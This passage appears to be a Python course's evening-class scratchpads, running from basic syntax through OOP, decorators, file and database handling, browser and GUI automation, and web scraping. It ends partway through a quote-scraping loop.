Python Evening Scratchpads 22-09-2022

Python Evening Scratchpads 22-09-2022

Scratchpad #1

# high_score <- snake case
# player_one_high_score

# playerOneHighScore <- camel case

# HighScore <- Pascal case

# high-score <- kebab case

# PI = 3.14
# print(PI)
# GST_RATE = 18
# print(GST_RATE * PI)


# print(GST_RATE)

# message = '\'John\' said, \"Hello World\"'
# message = 'John said,\n\nHello\n   World'
# message = 'John said,\n\tHello World'
# message = 'John said,\vHello World'

message = "Please use \\n to display a new line"
print(message)

Scratchpad #2

# # print("Enter an amount in INR")
# inr = int(input("Enter an amount in INR: "))

# usd = inr * 82

# print(f"{inr} INR is {usd} USD")

# name = "Jane Doe"

# if name == "John Doe":
#     print("Hi John")
# elif name == "Jane Doe":
#     print("Hello Jane")
# elif name == "Jack":
#     print("I believe in Jack")
# else:
#     print("Something else")


# # print("Hello World")


# current_user = "john"

# if current_user:
#     print("Welcome")
# else:
#     print("Sorry, please login to continue")


# age = int(input("Please enter your age: "))

# if age >= 65:
#     print("Drinks are free")
# elif age >= 21:
#     print("You can enter and you can drink")
# elif age >= 18:
#     print("You can enter but you cannot drink")
# else:
#     print("Get lost")


age = int(input("Please enter your age: "))

if age >= 18 and age < 21:
    print("You can enter but you cannot drink")
elif age >= 21 and age < 65:
    print("You can enter and you can drink")
elif age >= 65:
    print("Drinks are free")
else:
    print("Get lost")

Scratchpad #3

# player1 = input("Enter player 1's choice: ")
# player2 = input("Enter player 2's choice: ")


# if (
#     (player1 == "rock" and player2 == "scissor")
#     or (player1 == "paper" and player2 == "rock")
#     or (player1 == "scissor" and player2 == "paper")
# ):
#     print("Player 1 wins")
# elif (
#     (player2 == "rock" and player1 == "scissor")
#     or (player2 == "paper" and player1 == "rock")
#     or (player2 == "scissor" and player1 == "paper")
# ):
#     print("Player 2 wins")
# else:
#     print("It's a tie")


# if player1 == player2:
#     print("It's a tie")
# elif player1 == "rock":
#     if player2 == "scissor":
#         print("Player 1 wins")
#     elif player2 == "paper":
#         print("Player 2 wins")
# elif player1 == "paper":
#     if player2 == "rock":
#         print("Player 1 wins")
#     elif player2 == "scissor":
#         print("Player 2 wins")
# elif player1 == "scissor":
#     if player2 == "paper":
#         print("Player 1 wins")
#     elif player2 == "rock":
#         print("Player 2 wins")
# else:
#     print("Something went wrong")


# for char in "Hello World":
#     print("hello")
#     print(char.upper())


# for number in range(1, 10):
#     print(number)


# for number in range(1, 100, -5):
#     print(number)


# for num in range(1, 21):
#     if num == 5 or num == 16:
#         print("FizzBuzz")
#     elif num % 2 == 0:
#         print(f"{num} - Fizz is even")
#     elif num % 2 != 0:
#         print(f"{num} - Fizz is odd")


# password = input("Please enter the secret password: ")

# while password != "helloworld":
#     print("Incorrect password. Please try again")
#     password = input("Please enter the secret password again: ")

# print("Welcome")

# for num in range(1, 11):
#     print(num)

# count = 0
# while count < 11:
#     print(count)
#     count += 1


# password = input("Please enter the secret password: ")

# while password != "helloworld":
#     if password == "quit":
#         break
#     print("Incorrect password. Please try again")
#     password = input("Please enter the secret password again: ")

# print("Welcome")


# password = input("Please enter the secret password: ")

# while True:
#     if password == "helloworld":
#         break
#     print("Incorrect password. Please try again")
#     password = input("Please enter the secret password again: ")

# print("Welcome")


while True:
    player1 = input("Enter player 1's choice: ")
    player2 = input("Enter player 2's choice: ")

    if (
        (player1 == "rock" and player2 == "scissor")
        or (player1 == "paper" and player2 == "rock")
        or (player1 == "scissor" and player2 == "paper")
    ):
        print("Player 1 wins")
    elif (
        (player2 == "rock" and player1 == "scissor")
        or (player2 == "paper" and player1 == "rock")
        or (player2 == "scissor" and player1 == "paper")
    ):
        print("Player 2 wins")
    else:
        print("It's a tie")

    play_again = input("Do you want to play again? (y/n) ")
    if play_again == "n":
        break

Scratchpad #4

# langs = ["Python", "JavaScript", "Rust", "Elm", "WASM"]

# # for lang in langs:
# #     print(len(lang.upper()) + 1)

# count = 0
# while count < len(langs):
#     print(langs[count])
#     count += 1

Scratchpad #5

# # nums = [1, 2, 3, 4, 5, 6]
# # double_nums = [num * 2 for num in nums]  # [2, 4, ...]
# # print(double_nums)


# # names = ["john", "jane", "jill", "jack"]
# # upper_names = [name.upper() for name in names]
# # print(upper_names)

# # # double_nums = []

# # # for num in nums:
# # #     double_nums.append(num * 2)

# # # print(double_nums)


# numbers = [1, 2, 3, 4, 5, 6]
# evens = [num for num in numbers if num % 2 == 0]
# odds = [num for num in numbers if num % 2 == 1]

# # result = [num / 2 if num % 2 == 1 else num * 2 for num in numbers]
# result = [num * 2 if num % 2 == 0 else num / 2 for num in numbers]

# print(evens)
# print(odds)
# print(result)


# message = "Hello Python!"


# nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

# # print(len(nested_list))

# for item in nested_list:
#     for num in item:
#         print(num)


# nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

# result = [[num * 2 for num in lst] for lst in nested_list]
# print(result)

board = [["X" if num % 2 == 1 else "O" for num in range(1, 4)] for _ in range(1, 4)]


print(board)

Scratchpad 6

# product1 = ["iPhone 14 Pro Max", "Apple", "Some description...", 150000, 100, True]
# product2 = ["iPhone 14 Pro Max", "Apple", "Some description...", 100, 150000, True]

# print(product1[3])
# print(product2[3])


# product3 = {
#     "price": 150000,
#     "name": "iPhone 14 Pro Max",
#     "brand": "Apple",
#     "description": "Some description...",
#     "in_stock": 100,
#     "discount_available": True,
#     "features": ["Feature 1", "Feature 2"],
#     "something_else": {"hello": "world"},
# }
# print(product3["price"])

# product4 = dict(name="Apple Watch", price="")


# book = {
#     "name": "The theory of everything",
#     "author": "Stephen Hawking",
#     "pages": 140,
#     "language": "English",
#     "in_stock": True,
#     73: 1001001,
# }

# print(book["name"])
# print(book[73])
# print(book["hello"])

book = {
    "name": "The theory of everything",
    "author": "Stephen Hawking",
    "pages": 140,
    "language": "English",
    "in_stock": True,
    73: 1001001,
}

# for value in book.values():
#     print(value)

# for key in book.keys():
#     print(key, book[key])

# for key in book:
#     print(key, book[key])


# for item in book.items():
#     print(item)

for key, value in book.items():
    print(key, value)

Scratchpad 7

# def greet():
#     print("Hello World")
#     print("Hello Universe")


# greet()
# greet()
# greet()


def add():
    return 10 + 5


def another():
    return add()


print(another())

# def greet():
#     a = 10
#     b = 20
#     c = a + b
#     # print("Hello World")
#     return c


# print(greet())

Scratchpad 8

# from random import random


# def flip_coin():
#     if random() > 0.5:
#         return "HEADS"
#     else:
#         return "TAILS"


# print(flip_coin())


# def greet(first_name, last_name):
#     print(f"Hello {first_name} {last_name}")


# # greet("Doe", "John")


# def add(x, y):
#     return x + y


# print(add(10, 12))


# def capitalize(string):
#     words_list = string.split(" ")
#     capitalized_words = []
#     for word in words_list:
#         capitalized_words.append(word[0].upper() + word[1:])
#     return " ".join(capitalized_words)
#     # " ".join([word[0].upper() + word[1:] for word in "hello from india".split(" ")])


# def capitalize2(string):
#     return " ".join([word[0].upper() + word[1:] for word in string.split(" ")])


# print(capitalize("hello world from india hello universe something else"))
# print(capitalize2("hello world from india hello universe something else"))


# def sum_odd_numbers(numbers_list):
#     total = 0
#     for num in numbers_list:
#         if num % 2 != 0:
#             total += num
#     return total


# print(sum_odd_numbers([1, 2, 3, 4]))


# def is_odd_number(number):
#     if number % 2 != 0:
#         return True
#     return False


# print(is_odd_number(3))


# def add(x=0, y=0):
#     return x + y


# print(add(10))


# def add(a, b):
#     return a + b


# def sub(a, b):
#     return a - b


# def math(a, b, fn=add):
#     return fn(a, b)


# print(math(10, 5))
# print(math(10, 5))

# # print(add(10, 4))
# # print(sub(10, 4))


# def greet(first_name="richard", last_name="roe"):
#     print(f"Hello {first_name} {last_name}")


# greet(last_name="Doe", first_name="John")


# def greet():
#     # name = "Jack roe"
#     print(name)


# name = "Jack roe"
# print(name)


# greet()


# total = 0


# def dummy():
#     global total
#     total += 1


# dummy()
# print(total)


# def outer():
#     count = 0

#     def inner():
#         nonlocal count
#         count += 1
#         print(count)

#     inner()


# outer()


def greet(first_name, last_name, message):
    """
    This function takes 3 strings, first name,
    last name and a message and it concatenates
    it and returns it

    @args
    first_name: str
    last_name: str
    message: str

    @return str
    """
    return f"{message}, {first_name} {last_name}"


# print(greet("John", "Doe", "Hello"))

print(greet.__doc__)
print(print.__doc__)

Scratchpad #9

# def add(a, b):
#     return a + b

# print(add(10, 4))


# def add(*nums):
#     total = 0
#     for num in nums:
#         total += num
#     return total


# print(add(10, 12, 45, 2134, 12, 5, 7, 3, 1, 23, 4))


# def names(a, b, *c):
#     print(a)
#     print(b)
#     print(c)


# names("john", "jack", "jane", "james")


# def profile_data(**data):
#     print(data)


# profile_data(name="John Doe", age=20, hello="world")


# def show_info(a, b, *args, role="moderator", **kwargs):
#     print([a, b, args, role, kwargs])


# show_info(
#     1,
#     2,
#     3,
#     "hello",
#     first_name="John",
#     last_name="Doe",
#     role="admin",
# )


# def add(*nums):
#     total = 0
#     for num in nums:
#         total += num
#     return total


# scores = [45, 12, 67, 43, 78, 99, 94]

# result = add(*scores)

# print(result)


# def say_name(first, last):
#     print(f"My name is {first} {last}.")


# data = {"first": "John", "last": "Doe"}

# say_name(**data)

####################################
############ PROCEDURAL ############
####################################

import random

SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds")
RANK_TUPLE = (
    "Ace",
    "2",
    "3",
    "4",
    "5",
    "6",
    "7",
    "8",
    "9",
    "10",
    "Jack",
    "Queen",
    "King",
)

NCARDS = 8


def get_card(deck_list_in):
    this_card = deck_list_in.pop()
    return this_card


def shuffle(deck_list_in):
    deck_list_out = deck_list_in.copy()
    random.shuffle(deck_list_out)
    return deck_list_out


print("Welcome to higher or lower.")
print(
    "You have to choose whether the next card to be shown will be higher or lower than the current card"
)
print("Getting it right add 20 points; get it wrong and you will lose 15 points.")
print("You have 50 points to start")
print()

starting_deck_list = []
for suit in SUIT_TUPLE:
    for this_value, rank in enumerate(RANK_TUPLE):
        card_dict = {"rank": rank, "suit": suit, "value": this_value + 1}
        starting_deck_list.append(card_dict)

score = 50

while True:
    game_deck_list = shuffle(starting_deck_list)
    current_card_dict = get_card(game_deck_list)
    current_card_rank = current_card_dict["rank"]
    current_card_suit = current_card_dict["suit"]
    current_card_value = current_card_dict["value"]
    print(f"Starting card is {current_card_rank} of {current_card_suit}")
    print()

    for card_number in range(0, NCARDS):
        answer = input(
            f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): "
        )
        answer = answer.casefold()
        next_card_dict = get_card(game_deck_list)
        next_card_rank = next_card_dict["rank"]
        next_card_suit = next_card_dict["suit"]
        next_card_value = next_card_dict["value"]
        print(f"Next card is {next_card_rank} of {next_card_suit}")

        if answer == "h":
            if next_card_value > current_card_value:
                print("You got it right, it was higher")
                score += 20
            else:
                print("Sorry, it was not higher")
                score -= 15
        elif answer == "l":
            if next_card_value < current_card_value:
                print("You got it right, it was lower")
                score += 20
            else:
                print("Sorry, it was not lower")
                score -= 15

        print(f"Your score is {score}")
        print()
        current_card_rank = next_card_rank
        current_card_value = next_card_value

    go_again = input("To play again, press ENTER, or 'q' to quit: ")
    if go_again == "q":
        break

print("Good bye")

Scratchpad 10

# def square(num):
#     return num * num


# square2 = lambda n: n * n

# add = lambda a, b: a + b


# print(square(10))
# print(square2(10))
# print(add(10, 2))


# def add(a, b):
#     return a + b


# def mul(a, b):
#     return a * b


# def math(a, b, fn):
#     return fn(a, b)


# print(math(10, 5, mul))
# print(math(10, 5, lambda a, b: a / b))


# nums = [1, 2, 3, 4, 5, 6, 7, 8]

# doubles1 = []
# for num in nums:
#     doubles1.append(num * 2)

# doubles2 = [num * 2 for num in nums]

# doubles3 = map(lambda num: num * 2, nums)

# # for num in doubles3:
# #     print(num)

# # print("double1 = ", doubles1)
# # print("double2 = ", doubles2)
# # print("double3 = ", list(doubles3))


# evens1 = []
# for num in nums:
#     if num % 2 == 0:
#         evens1.append(num)

# evens2 = [num for num in nums if num % 2 == 0]

# evens3 = filter(lambda num: num % 2 == 0, nums)

# print("evens1 =", evens1)
# print("evens2 =", evens2)
# print("evens3 =", list(evens3))


names = ["John", "Jack", "James", "Desmond", "Charlie", "Jacob"]

result = map(
    lambda name: f"The one who wins is {name}",
    filter(lambda name: len(name) <= 5, names),
)

print(list(result))

Scratchpad #13

class Math:
    @classmethod
    def add(cls, a, b):
        return a + b

    @classmethod
    def sub(cls, a, b):
        return a - b

    @classmethod
    def mul(cls, a, b):
        return a * b


# print(Math.add(10, 4))

import random


class User:
    total_users = 0
    active_users = 0

    def __init__(self, name, email, phone, age, password):
        self.full_name = name
        self.email = email
        self.phone_no = phone
        self._age = age
        self.city = "Mumbai"
        self._password = password
        User.total_users += 1

    def __repr__(self):
        return f"Name: {self.full_name}\nEmail: {self.email}"

    @classmethod
    def get_total_users(cls):
        return cls.total_users

    @classmethod
    def generate_password(cls, count):
        chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
        pwd = ""
        for n in range(0, count):
            pwd += random.choice(chars)
        return pwd

    def greet(self):
        return f"My name is {self.full_name} and I am {self._age} years old"

    def change_city(self, new_city):
        self.city = new_city
        return self.city

    def login(self, password):
        if password == self._password:
            print("You have logged in. Welcome.")
            User.active_users += 1
        else:
            print("Incorrect password. Access denied.")

    @property
    def password(self):
        return self._password

    @password.setter
    def password(self, new_password):
        if len(new_password) < 8:
            raise ValueError("Password too short. Minimum 8 chars required.")
        self._password = new_password
        print("Password was changed successfully")

    # def get_password(self):
    #     return self._password

    # def set_password(self, new_password):
    #     if len(new_password) < 8:
    #         raise ValueError("Password too short. Minimum 8 chars required.")
    #     self._password = new_password
    #     print("Password was changed successfully")


class Admin(User):
    def __init__(self, name, email, phone, age, password, nickname):
        super().__init__(name, email, phone, age, password)
        self.nickname = nickname

    def create_group(self, group_name):
        print(f"{group_name} created")

    def __repr__(self):
        return self.full_name


john = User("John Doe", "john@gmail.com", "123456789", 20, "123456asd")
jane = User("Jane Doe", "jane@gmail.com", "123456789", 22, "123456asd")
jack = Admin("Jack Doe", "jack@gmail.com", "123456789", 22, "123456asd", "jacky")

print(jack.nickname)

# john._password = "a"

# john.set_password("helloworld")
# print(john.get_password())

# john.password = "helloworld"
# print(john.password)

# print(john)
# print(jack)
# john.create_group("Python")
# print(jack.email)

# print(User.generate_password(10))

# User.get_total_users()

# john.login("123456")
# jane.login("aslkdnmasd")


# print("--------------------")
# print("Total Users: ", User.total_users)
# print("Active Users: ", User.active_users)

# print(User.total_users)

Scratchpad #14

# # class Human:
# #     def __init__(self, name):
# #         self.name = name

# #     def greet(self):
# #         print("Hello World")


# # class Animal:
# #     def __init__(self, name):
# #         self.name = name

# #     def greet(self):
# #         print("ljkasbndljansdlj")


# # class Mutant(Human, Animal):
# #     pass


# # john = Human("John Doe")
# # ohn = Animal("Ohn Go")
# # logan = Mutant("Wolverine")

# # john.greet()
# # ohn.greet()
# # logan.greet()


# class User:
#     def __init__(self, name, height):
#         self.name = name
#         self.height = height

#     def greet(self):
#         print("Hello World")

#     def __len__(self):
#         return int(self.height)

#     def __add__(self, another_user):
#         return User("New Born", 2)

#     def __repr__(self):
#         return self.name


# class Admin(User):
#     def greet(self):
#         print("Hello Universe")


# # jane = Admin("Jane Doe", 5.8)
# # print(len(jane))

# john = User("John Doe", 6)
# jane = User("Jane Doe", 5)

# result = john + jane
# print(result)


# a = [1, 2, 3, 4, 5, 6, 7]

# for num in a:
#     print(num)


# def myFor(iterable):
#     iterator = iter(iterable)

#     while True:
#         try:
#             print(next(iterator))
#         except StopIteration:
#             break


# myFor(a)


# for num in range(10):
#     print(num)


# class Counter:
#     def __init__(self, start, end, step):
#         self.start = start
#         self.end = end
#         self.step = step

#     def __iter__(self):
#         return self

#     def __next__(self):
#         if self.start < self.end:
#             num = self.start
#             self.start += self.step
#             return num
#         else:
#             raise StopIteration


# def counter(start, end):
#     count = start
#     while count < end:
#         yield count
#         count += 1


# c = Counter(0, 100, 5)
# r = range(0, 10)

# c2 = counter(0, 10)

# for num in c2:
#     print(num)


# def fib_list(max):
#     nums = []
#     a, b = 0, 1
#     while len(nums) < max:
#         nums.append(b)
#         a, b = b, a + b
#     return nums


# def fib_gen(max):
#     a, b = 0, 1
#     count = 0
#     while count < max:
#         a, b = b, a + b
#         yield a
#         count += 1


# # result_l = fib_list(1000000)
# result_g = fib_gen(1000000)
# # print(result)

# # for num in result_g:
# #     print(num)


# result1 = sum([num for num in range(10000000)])
# result2 = sum(num for num in range(10000000))

# print(result2)

from time import time

list_start_time = time()
print(sum([num for num in range(100000000)]))
list_stop_time = time() - list_start_time

gen_start_time = time()
print(sum(num for num in range(100000000)))
gen_stop_time = time() - gen_start_time


print(f"list time taken: {list_stop_time}")
print(f"generator time taken: {gen_stop_time}")

Scratchpad #15

# BANK BACKEND

# Bank
# Attrs: name, initials, branch, ifsc_code, cif_code, address, customers = []
# Methods: get_details() -> dict, change_details() -> dict, add_customer(data) -> Customer, remove_customer(acc_number), find_customer_by_acc_no(acc_number) -> Customer, find_customer_by_email(acc_number) -> Customer, get_total_balance()

# Customer
# first_name,
# last_name,
# age,
# aadhar_card,
# pan_card,
# mobile,
# address,
# email,
# bankId,
# account_no,
# balance = 0
# get_details() -> dict
# change_details(data: dict) -> dict
# get_balance(),
# deposit(amount: float) -> float


# sbi = Bank()
# sbi.create_customer()


# def math(a, b, fn):
#     return fn(a, b)


# print(math(10, 5, lambda a, b: a + b))


# def sum(n, func):
#     total = 0
#     for num in range(1, n + 1):
#         total += func(num)
#     return total


# def square(n):
#     return n * n


# def cube(n):
#     return n * n * n


# print(sum(3, square))
# print(sum(3, cube))

import random


# def greet(person):
#     def get_mood():
#         mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
#         msg = random.choice(mood)
#         return msg

#     result = f"{get_mood()} {person}"
#     return result


# print(greet("Jack"))


# # Factory function
# def make_greet_func(person):
#     def make_message():
#         msg = random.choice(
#             ["Hello", "What!", "What the heck do you want!", "Get lost!"]
#         )
#         return f"{msg} {person}"

#     return make_message


# john_result = make_greet_func("John Doe")
# jane_result = make_greet_func("Jane Doe")

# print(john_result())
# print(jane_result())


def stars(fn):
    def wrapper():
        print("*" * 10)
        fn()
        print("*" * 10)

    return wrapper


# @stars  # say_hello = stars(say_hello)
# def say_hello():
#     print("Hello World")


# # say_hello = stars(say_hello)

# say_hello()

from functools import wraps


def make_upper_case(fn):
    """Decorator that uppercases the return value"""

    @wraps(fn)  # wrapper = wraps(wrapper)
    def wrapper(*args, **kwargs):
        """Wrapper function that will be returned"""
        return fn(*args, **kwargs).upper()

    return wrapper


@make_upper_case  # say_hello = make_upper_case(say_hello)
def say_hello(name):
    """This function says Hello to the person"""
    return f"Hello {name}"


@make_upper_case
def say_whatever(person, message):
    """This function says whatever"""
    return f"{message}, {person}."


# print(say_hello("John"))
# print(say_whatever("John", "Hello World and Hello to you"))

print(say_hello.__doc__)
print(say_whatever.__doc__)
print(say_hello.__name__)
print(say_whatever.__name__)

Scratchpad 16 & 17

def enforce(*types):
    def inner(fn):
        def wrapper(*args, **kwargs):
            new_args = []
            for a, t in zip(args, types):
                try:
                    new_args.append(t(a))
                except (ValueError, TypeError):
                    print("Something went wrong")
            return fn(*new_args)

        return wrapper

    return inner


@enforce(str, int)  # wrapper
def announce(msg, times):
    print((msg + "\n") * times)


announce("1123123123", 10)



# # with open("test.txt") as file:
# #     print(file.read())
# #     print(file.closed)

# # print(file.closed)


# # with open("test2.txt", "a") as file:
# #     file.write("*" * 20)
# #     file.write("\nHello World\n")
# #     file.write("*" * 20)

# # with open("test2.txt", "r+") as file:
# #     file.seek(0)
# #     file.write("Hello")
# #     file.seek(20)
# #     file.write("Hello")


# # with open("test2.txt", "r") as file:
# #     data = file.read()

# #     new_data = data.replace("World", "Universe")

# #     with open("test2.txt", "w") as f:
# #         f.write(new_data)

# # from csv import reader, DictReader

# # with open("test.csv") as file:
# #     # csv_reader = reader(file)
# #     # for row in csv_reader:
# #     #     print(row)
# #     csv_reader = DictReader(file)
# #     for row in csv_reader:
# #         print(row)


# # from csv import writer, DictWriter

# # with open("test2.csv", "w", newline="") as file:
# #     csv_writer = writer(file)
# #     csv_writer.writerow(["name", "age", "email", "phone"])
# #     csv_writer.writerow(["John Doe", 20, "john@gmail.com", 1234567])
# #     csv_writer.writerow(["John Doe", 20, "john@gmail.com", 1234567])
# #     csv_writer.writerow(["John Doe", 20, "john@gmail.com", 1234567])
# #     csv_writer.writerow(["John Doe", 20, "john@gmail.com", 1234567])


# # from csv import DictWriter

# # with open("test2.csv", "w", newline="") as file:
# #     headers = ["name", "age", "phone", "email"]
# #     csv_writer = DictWriter(file, fieldnames=headers)
# #     csv_writer.writeheader()
# #     csv_writer.writerow(
# #         {"name": "John Doe", "age": 20, "phone": 123456778, "email": "john@gmail.com"}
# #     )
# #     csv_writer.writerow(
# #         {"name": "John Doe", "age": 20, "phone": 123456778, "email": "john@gmail.com"}
# #     )


# import pickle


# class User:
#     def __init__(self, first_name, last_name, age):
#         self.first_name = first_name
#         self.last_name = last_name
#         self.age = age

#     def greet(self):
#         return f"Hello, my name is {self.first_name} {self.last_name}"

#     def __repr__(self):
#         return self.first_name


# user1 = User("John", "Doe", 20)

# # with open("data.pickle", "wb") as file:
# #     pickle.dump((user1, user2), file)

# with open("data.pickle", "rb") as file:
#     restored_user = pickle.load(file)
#     print(restored_user.greet())

import json
import jsonpickle


class User:
    def __init__(self, first_name, last_name, age):
        self.first_name = first_name
        self.last_name = last_name
        self.age = age
        self.country = None

    def greet(self):
        return f"Hello, my name is {self.first_name} {self.last_name}"

    def __repr__(self):
        return self.first_name


# user1 = User("John", "Doe", 20)


# with open("users.json", "w") as file:
#     # file.write(json.dumps(user1.__dict__))
#     file.write(jsonpickle.encode(user1))


with open("users.json") as file:
    contents = file.read()
    restored_user = jsonpickle.decode(contents)
    print(restored_user.greet())

Scratchpad 18

# import re

# pattern = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")

# result = pattern.search("Hello you can call us on 022 2576 7865 or 02225767865 today!")
# print(result.group())

# result = pattern.findall("Hello you can call us on 022 2576 7865 or 02225767865 today!")
# print(result)


import re


def extract_phone(input):
    phone_regex = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")
    return phone_regex.findall(input)


# print(extract_phone("Hello you can call us on 022 2576 7865 or 02225767865 today!"))


# def validate_phone(input):
#     phone_regex = re.compile(r"^\d{3}\s?\d{4}\s?\d{4}$")
#     match = phone_regex.search(input)
#     if match:
#         return True
#     return None


def validate_phone(input):
    phone_regex = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")
    match = phone_regex.fullmatch(input)
    if match:
        return True
    return False


print(validate_phone("022 2576 7865 asdas"))


# Email validation
# IP address validation
# 255.255.255.255

Scratchpad 19

# import sqlite3

# conn = sqlite3.connect("pyusers.db")

# c = conn.cursor()

# user = ("jack", "smith", 20)
# users = [
#     ("john", "doe", 25),
#     ("jane", "roe", 22),
#     ("jack", "smith", 34),
#     ("james", "mars", 23),
# ]

# # c.execute("CREATE TABLE users (first_name TEXT, last_name TEXT, age INTEGER);")
# # c.execute("INSERT INTO users VALUES ('Joe', 'Roe', 43);")

# query = """INSERT INTO users VALUES (?, ?, ?);"""
# # c.execute(query, user)
# # c.executemany(query, users)

# for user in users:
#     print(f"Adding {user[0]} to database.")
#     c.execute(query, user)
#     print(f"Insert completed")


# conn.commit()
# conn.close()


# from pymongo import MongoClient

# client = MongoClient("mongodb://127.0.0.1:27017/")

# db = client.pyusers
# coll = db["users"]

# print(coll.find())

# user = {"firstName": "john", "lastName": "doe", "age": 20}
# users = [
#     {"firstName": "john", "lastName": "doe", "age": 20},
#     {"firstName": "john", "lastName": "doe", "age": 20},
#     {"firstName": "john", "lastName": "doe", "age": 20},
#     {"firstName": "john", "lastName": "doe", "age": 20},
# ]

# coll.insert_one(user)
# coll.insert_many(users)

# result = coll.find({"age": {"$gt": 20}})

# for item in result:
#     print(item)

Scratchpad 20

# from selenium import webdriver
# from selenium.webdriver.common.by import By
# from selenium.webdriver.common.keys import Keys
# from time import sleep

# browser = webdriver.Chrome("chromedriver.exe")

# browser.maximize_window()
# # browser.get("https://www.youtube.com/")
# # sleep(3)

# # search_box = browser.find_element(
# #     By.XPATH,
# #     "/html/body/ytd-app/div[1]/div/ytd-masthead/div[3]/div[2]/ytd-searchbox/form/div[1]/div[1]/input",
# # )
# # sleep(1)
# # search_box.click()

# # search_box.send_keys("kantara", Keys.ENTER)
# # sleep(5)

# # video = browser.find_element(By.PARTIAL_LINK_TEXT, "Hombale Films")
# # sleep(2)
# # video.click()

# # sleep(10)

# # browser.close()

# # ========================
# browser.get("https://web.whatsapp.com/")
# sleep(20)

# search_box = browser.find_element(
#     By.XPATH, "/html/body/div[1]/div/div/div[3]/div/div[1]/div/div/div[2]/div/div[2]"
# )
# sleep(1)
# search_box.click()
# sleep(1)
# search_box.send_keys("PYTHON Evening RS 22/9/22", Keys.ENTER)
# sleep(2)

# message_box = browser.find_element(
#     By.XPATH,
#     "/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]",
# )
# sleep(1)
# message_box.click()
# sleep(1)
# for _ in range(50):
#     message_box.send_keys("TEST MESSAGE USING PYTHON", Keys.ENTER)
#     sleep(1)

# sleep(5)
# browser.close()

# ===========================

# import docx
# from docx.enum.text import WD_ALIGN_PARAGRAPH

# doc = docx.Document()

# doc.add_heading("Python Class Information", level=0)
# doc.add_heading("Some subtitle information about this", level=2)

# para = doc.add_paragraph(
#     "Lorem ipsum dolor sit, amet consectetur adipisicing elit. Reprehenderit aut fuga fugiat sint optio numquam harum, explicabo distinctio hic cumque asperiores, excepturi repudiandae minus sunt nobis! Quam quasi mollitia tenetur architecto earum nam est sequi consequuntur consectetur placeat ipsam saepe sunt cumque facilis, corporis eius debitis voluptatum numquam ad quaerat sint."
# )
# para.add_run("\n\nHello World")
# doc.add_page_break()

# doc.add_heading("Second page heading", level=1)
# para2 = doc.add_paragraph(
#     "Lorem ipsum dolor sit, amet consectetur adipisicing elit. Reprehenderit aut fuga fugiat sint optio numquam harum, explicabo distinctio hic cumque asperiores, excepturi repudiandae minus sunt nobis! Quam quasi mollitia tenetur architecto earum nam est sequi consequuntur consectetur placeat ipsam saepe sunt cumque facilis, corporis eius debitis voluptatum numquam ad quaerat sint."
# )
# para2.alignment = WD_ALIGN_PARAGRAPH.RIGHT

# doc.save("my_doc.docx")


import pyautogui
from pywinauto.application import Application
from time import sleep

app = Application(backend="uia").start("mspaint.exe")
# print(pyautogui.size())

# pyautogui.moveTo(200, 400)
# pyautogui.dragRel(200, 400)

distance = 200

while distance > 0:
    pyautogui.dragRel(distance, 0, duration=0.5)
    distance = distance - 5
    pyautogui.dragRel(0, distance, duration=0.5)
    pyautogui.dragRel(-distance, 0, duration=0.5)
    distance = distance - 5
    pyautogui.dragRel(0, -distance, duration=0.5)

Scratchpad 21

# from bs4 import BeautifulSoup

# html = """
# <html>
#     <head>
#         <title>My Application</title>
#     </head>
#     <body>
#         <h1>My Application</h1>
#         <h2>My Application</h2>
#         <div>
#             <h3>My Application</h3>
#             <h3>My Application 2</h3>
#         </div>
#         <h4 id="important">My Application</h4>
#         <h5>My Application</h5>
#         <h3>This is something else</h3>
#         <h6>My Application</h6>
#         <hr />
#         <p class="my-para hello special">
#             Lorem ipsum dolor sit amet consectetur, adipisicing elit. Ratione,
#             pariatur <b>nesciunt doloribus</b> eaque nulla, quos
#             <i>consectetur</i> amet dignissimos molestiae voluptatum rem? Sint
#             adipisci nesciunt temporibus deleniti laborum quisquam dolore fugiat?
#         </p>
#         <ul>
#             <li class="hello">
#                 Lorem ipsum dolor sit amet consectetur adipisicing elit. Ipsa, ipsam.
#             </li>
#             <li>
#                 Lorem ipsum dolor sit amet consectetur adipisicing elit. Ipsa, ipsam.
#             </li>
#             <li>
#                 Lorem ipsum dolor sit amet consectetur adipisicing elit. Ipsa, ipsam.
#             </li>
#             <li>
#                 Lorem ipsum dolor sit amet consectetur adipisicing elit. Ipsa, ipsam.
#             </li>
#             <li>
#                 Lorem ipsum dolor sit amet consectetur adipisicing elit. Ipsa, ipsam.
#             </li>
#             <li>
#                 Lorem ipsum dolor sit amet consectetur adipisicing elit. Ipsa, ipsam.
#             </li>
#         </ul>
#         <img src="./img.png" alt="Some logo" />
#     </body>
# </html>
# """

# soup = BeautifulSoup(html, "html.parser")

# # print(type(soup))

# # print(soup.body)
# # print(soup.body.h6)

# # print(soup.find("h3"))
# # print(soup.find_all("h3"))
# # print(soup.find(id="important"))
# # print(soup.find(class_="hello"))
# # print(soup.find_all(class_="hello"))
# # print(soup.find(attrs={"src": "./img.png"}))
# # print(soup.find("h4")["id"])
# # print(soup.find("img")["alt"])
# # print(soup.find("h4").get_text())

# # print(soup.find("h4").find_next_sibling().find_next_sibling())
# # print(soup.find("h4").find_previous_sibling())
# # print(soup.find("h4").find_parent())
# # print(soup.find("h4"))


# import requests
# from bs4 import BeautifulSoup
# from csv import writer

# response = requests.get("https://arstechnica.com/")
# # print(response.text)

# soup = BeautifulSoup(response.text, "html.parser")
# articles = soup.find_all(class_="article")

# with open("articles.csv", "w", newline="") as file:
#     csv_writer = writer(file)
#     csv_writer.writerow(["title", "link", "date", "author", "excerpt"])
#     for article in articles:
#         title = article.find("h2").get_text()
#         link = article.find("a")["href"]
#         date = article.find("time").get_text()
#         author = article.find("span").get_text()
#         excerpt = article.find(class_="excerpt").get_text()
#         csv_writer.writerow([title, link, date, author, excerpt])


import requests
from bs4 import BeautifulSoup
from csv import writer

all_quotes = []
base_url = "http://quotes.toscrape.com"
url = "/page/1/"

while url:
    response = requests.get(f"{base_url}{url}")
